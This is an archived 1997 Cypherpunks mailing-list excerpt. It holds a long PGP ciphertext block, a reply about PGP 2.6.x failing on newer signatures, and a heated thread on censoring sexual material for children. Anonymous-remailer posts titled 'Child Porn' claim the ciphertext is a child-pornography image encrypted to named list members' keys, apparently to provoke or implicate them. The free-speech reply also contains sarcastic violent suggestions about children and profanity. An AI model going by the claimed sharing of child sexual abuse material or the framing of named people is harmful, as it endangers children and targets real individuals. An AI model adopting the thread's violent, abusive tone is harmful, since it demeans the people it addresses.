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
=GXVA
-----END PGP MESSAGE-----






From whgiii at amaranth.com  Mon Jun 23 10:58:11 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 24 Jun 1997 01:58:11 +0800
Subject: New PGP signatures
Message-ID: <199706231742.MAA01370@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/23/97 
   at 05:53 AM, Mark Grant  said:

>Could I humbly request that people don't post the new (SHA?) PGP
>signatures to the list for the time being as it's a pain in the ass for
>those of us outside the US who don't yet have the ability to read them.
>PGP 2.6.x error handling doesn't know what to do with them and it breaks
>our mail-processing code.

Hi Mark,

You really need to modify your mail-processing code as you are going to
see more and more of these. You should also start work on implementing the
PGP/MIME RFC as you will be seeing more of these messages.

Nothing personal but your code should not "break" on any data that is sent
to it. PGP 2.6.x doen't have a problem with these signatures it just
returns a error code and goes on it's way.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM660l49Co1n+aLhhAQHZEQP+MGX87jPWCO3VZMZG4Pt0R0sgFSSc6N+I
7/3w1QSxJomyd6jt9SUuyKsLMMC5UY7HCC71CHVyp2Aqm4N7Q8ratNC+WMxVPO3z
1DTNM4GYOnZmwdTMgowIPhb0Cfstd4Z+KXlr0jR5pE1Kni6+r3LBG7+jVv+Im6BY
SlizRYaent0=
=YBoc
-----END PGP SIGNATURE-----






From alano at teleport.com  Mon Jun 23 10:58:41 1997
From: alano at teleport.com (Alan)
Date: Tue, 24 Jun 1997 01:58:41 +0800
Subject: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: 



On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:

> I certainly agree with free speech and understand how it can be manipulated
> by the scum bags at large in society, _BUT_ free speech is free speech.
> The warts come from an ever increasing BENT society.

No you don't.  You believe in free speach for the things that do not tweak
your worldview.  I am certainly willing to bet that if you had the chance
to remove the rights of the "bent" people from expressing their views, you
would not hesitate in the slightest.

> I still am concerned about kids being subject to material that is
> inappropriate for their age group (what ever that may be).  

"Whatever that may be" is a very telling statement.  How can you tell what
is "appropreate" or "not".  What the media tells you?  What your religious
leaders tell you?  What the voices in your head tell you?  What the
government tells you?  All of those values are subjective.  They depend on
what you may or may not believe is "harmful".  Most of that is based on
cultural conditioning.

>So how do I
> insure that my son/daugher does not get their hands on _THIS_ material?

Kill them now.  Stick them in a box and feed them through a slot in the
door. Gouge out their eyes. Cut off their hands.

> Twenty seven years ago I took an oath to do whatever was needed to protect
> and defend the constitution against all enemies (domestic and foreign)  But
> what is the solution to this problem from a parents point of view?

You view the constitution as a problem?  Free speach as a problem?

Or maybe you have a problem that your children might learn about things
that you disapprove of?  Maybe they might read something that shows them
that sex is a part of life, not just something that is a side benefit of
marriage.  Maybe they might learn that sex is fun!  Maybe they will find
out that the religion their parents saddled them with is based on lies and
urban legend.  maybe they will find that their government is not so kind
and benevolent after all.  Maybe they will find out that their parents are
human and make mistakes.  Or maybe they will even figure out that the
material the parents are so afraid of are only harmful to the parents...

>  Simple
> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
> reason this is a violation of the 1st amendment to!

It is also an impossibility.  People have tried to control the natural
interest in sex since the dawn of time.  Has not worked yet.  Porn has
existed since man discovered woman.  Some of the earliest existing films
are porno movies.  What has changed is access and awareness.  Until
reletive reciently porn has been more underground.  But with the spread of
technology, it has become easier and easier to supply the demand for such
things.

Or as a certain math professor once said... "Dirty books are fun!"

>  Ok, my mistake, its my
> problem.  That's easy, no Internet access.  Now my kid is at a
> disadvantage!  I keep loosing here.  I don't like the way this is beginning
> to feel!!

Your kid is already at a disadvantage.  His parents have lost perspective.

> I'm sure that the community on this list has discussed this problem at
> length.  What is the best defense?  How do we get the message out or,
> better yet, deliver it?  

You assume that it actually is a problem.  Your moral qualms over pictures
of sexual activity does not a problem make.

it is people like yourself who are activly destroying what little remains
of the constitution.  You want an exception for this and a rationalization
for that until thre is nothing left but the blandest and most tasteless
thoughts and speach.

> Whatever that is, we need to do the same thing for the 2nd Ammendment, and
> the 3rd, and so on.

Like actually follow it?  Wow!  That would be a first.

> The challenge to write code could be fun, but maybe we should use our
> collective wisdom to deliver the best of the best solutions (there may be
> more than one) to our elected officials.  Load their mailboxes up with
> solutions to problems.  Sooner or later more than one of them is going to
> think its his/her idea and push it along.  Web sites can be set up to
> assist them with details.  I'm sure you get the idea.

You are talking to the wrong group of people.  What you are asking for is
a way to censor the masses.

Anything an adult can get, a child can get.

Attempts to censor children and control what they hear, see and feel are
vague attempts to do the same to adults.  You cannot control the
information feed to children without controling the information feed for
adults. (But deep down in your heart you would like to see that as well.)

> Just another citizen wondering if anything is going to be left for our
> grandchildren.

You think this information will harm them?  Actually the control freak
mentality you want to impose is far far worse.  In actuality, much of the
problems you would like to blame on porn are, in actuality, borne out of
this country's hypocracy and neurosis about sex and sexuality.  the reason
people are so fucked up about fucking is because they have been taught
that sex is somehow wrong and shameful and dirty.  That appreciating the
beauty of the sexual act is somehow more vile and disgusting than showing
someone shot full of holes.

I think you need to examine WHY this information makes you uncomfortable.
You might learn something about yourself.  But don't expect us to help
inflict your sickness on the minds of your children.

alano at teleport.com | "Those who are without history are doomed to retype it."






From whgiii at amaranth.com  Mon Jun 23 11:08:13 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 24 Jun 1997 02:08:13 +0800
Subject: Child Porn 2 [JPG]
In-Reply-To: <199706231739.NAA07104@dhp.com>
Message-ID: <199706231752.MAA01475@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706231739.NAA07104 at dhp.com>, on 06/23/97 
   at 01:39 PM, lucifer at dhp.com (lucifer Anonymous Remailer) said:

>Warning: Unrecognized ASCII armor header label "MessageID:" ignored.

>File is encrypted.  Secret key is required to read it. 
>This message can only be read by:
>   Paul Bradley 
>  Philip R. Zimmermann 
>  rep at heavensgate.com
>  Rich Graves 
>  Sandy Sandfort 
>  Will Price 
>  Wolfgang Ley, DFN-CERT 

>You do not have the secret key needed to decrypt this file.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6640Y9Co1n+aLhhAQGz3AQAm8rYUf1qfJlDanhSZjmLKjNwjFkbCaCe
l63U3drdjDcFOwfN94AO56rwhpEHg1otK5fnCirP2Yi2Tl+ZYJJhynb5D5cTvdhV
l1S0bocVrEghbkek69w6hXrshOvNpoS8VUTA+PZFfJUhKNtrd0dmHydkfPO42ygr
GNkY/aIbekk=
=WwuN
-----END PGP SIGNATURE-----






From lucifer at dhp.com  Mon Jun 23 11:20:30 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Tue, 24 Jun 1997 02:20:30 +0800
Subject: Child Porn 1 [JGP]
Message-ID: <199706231755.NAA10905@dhp.com>



Below is a Time-Life child pornography JPEG encrypted with the secret
keys of a variety of cypherpunks.
Not that I'm a troublemaker...

-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: iGCbC7wX4h9sJZLh60sc4n1HkEBeoY6o

